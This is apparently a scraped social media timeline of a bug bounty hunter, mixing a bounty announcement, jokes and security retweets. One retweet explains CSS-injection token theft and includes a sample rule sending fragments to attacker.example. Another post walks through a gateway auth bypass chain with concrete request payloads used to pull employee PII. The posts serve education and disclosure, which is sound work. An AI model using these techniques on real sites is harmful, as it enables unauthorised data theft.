I'm Ahmed, also Known As DestroyerX | wannabe Security researcher | الْحَمْدُ لِلَّهِ

./ MA
Joined July 2024
الحمدلله و الشكر لله وحده Yay, I was awarded a $,000 bounty on @Hacker0x01! hackerone.com/iide9x #TogetherWeHitHarder my first 4-digit bounty ever. been waiting for this for months. #BugBounty #Hacking #Cybersec
27
4
211
7,856
DestroyerX retweeted
How it feels skipping triage when a program manager grabs the report
NEW: The Tesla Roadster *literally* does a flying kickflip over the entire Tesla fleet 🔥🔥🔥
2
2
47
3,569
DestroyerX retweeted
18
39
9
657
164,735
DestroyerX retweeted
Replying to @Zaddyzaddy
And plz plz plz. Realise its ok to kill 99% of what AI reports as a finding
2
2
1
25
2,461
The details of the long awaited KVM Escape are published. PwnEscape leads to VM escapes across multiple hypervisors due to a super cool Linux networking bug. CVE-2026-99999 is a 9.3 CVSS critical rated KVM escape ⛓️ pwn.ai/blog/pwnescape
Introducing PwnEscape 🦉: a full KVM guest-to-host escape via a Linux kernel networking flaw affecting industry standard hypervisors. CVE-2026-99999 went from untrusted VM code to host-kernel memory reads, controlled writes, and root command execution. More below:
26
129
21
549
168,022
DestroyerX retweeted
Pray for a crit -> Find it -> Pray it’s not a dupe-> Not a dupe->Pray for good payout😅
1
1
4
292
Alex Craig (@Alex_______C) at @PortSwigger demonstrated how to steal secret tokens up to 640 characters long using only CSS. No JavaScript required. The technique comes down to 3 things: - CSS injection: Attribute selectors can check whether specific character sequences exist in an HTML element. - Exfiltration: Matching CSS rules trigger requests to an attacker-controlled server. - Graph reconstruction: Overlapping fragments can be stitched together to reconstruct secret tokens. Here's how it works: 1. Leak token fragments Imagine a page contains: `` An attacker who can inject CSS adds rules like: ```css a[href*="c2e"] { background: url("https://attacker.example/?chunk=c2e"); } ``` If the `href` contains `c2e`, the browser requests the attacker's URL, revealing that the fragment exists. Thousands of similar rules test different character combinations. 2. Reconstruct the secret The attacker collects matching fragments: `c2e → 2e1 → e16 → 16a` Each fragment overlaps the next by two characters. Using graph theory, the attacker can stitch these pieces together to reconstruct the token: `c2e16a...` Longer fragment checks help eliminate false matches. 3. Scale the attack This is where the research gets interesting. The original technique required roughly 258 MB of CSS to recover a 12-character token. Alex Craig reduced that to: - 223 KB: Narrow a 12-character token to five or fewer candidates in 96% of tests. - 1.33 MB: Uniquely reconstruct a 12-character token in 99% of tests. - 257 MB: Uniquely reconstruct 210-character tokens in 99% of tests, or narrow 640-character tokens to five or fewer candidates in over 90%. All without executing JavaScript. #BugBounty tip: Don't dismiss CSS injection as a harmless styling issue. If injected CSS can inspect sensitive HTML attributes and trigger external requests, it can become a powerful data exfiltration channel. Sometimes you don't need to read a secret directly. You just need enough overlapping pieces to reconstruct it. Full research by Alex Craig (@Alex_______C), building on Gareth Hayes' (@garethheyes) earlier work 👇 portswigger.net/research/sma…
15
1
74
3,144
I found a critical auth bypass that resulted in a $10K bounty due to mass PII exfiltration. Here’s the technique: The endpoint had 3 checks: 1. JWT auth at the gateway 2. Backend path validation 3. A trusted-client header check The bypass came from defeating each one differently. 1. JWT check Normal request: `GET /api/employee/12345` → `401` But paths ending in `.json` were treated as static resources and skipped JWT auth: `GET /api/employee/12345.json` → Auth check bypassed 2. Path validation Problem: The backend still needed a clean employee ID. Payload: `GET /api/employee/12345%23.json` The gateway saw a `.json` path. After decoding: `12345#.json` The downstream parser truncated at `#`, leaving: `12345` Same request, but different interpretation at each layer. 3. Trusted-client check The endpoint also expected a client header: `X-CLIENT-ID: WEBAPP` Without it: → `400` With it: → Request accepted So the final chain was: `.json` → bypass gateway auth `%23` → preserve a valid backend ID Client header → satisfy the final gate #BugBounty tip: When multiple layers handle the same request, map every security check and test whether the gateway, proxy, and backend interpret the URL differently.
30
105
5
822
27,257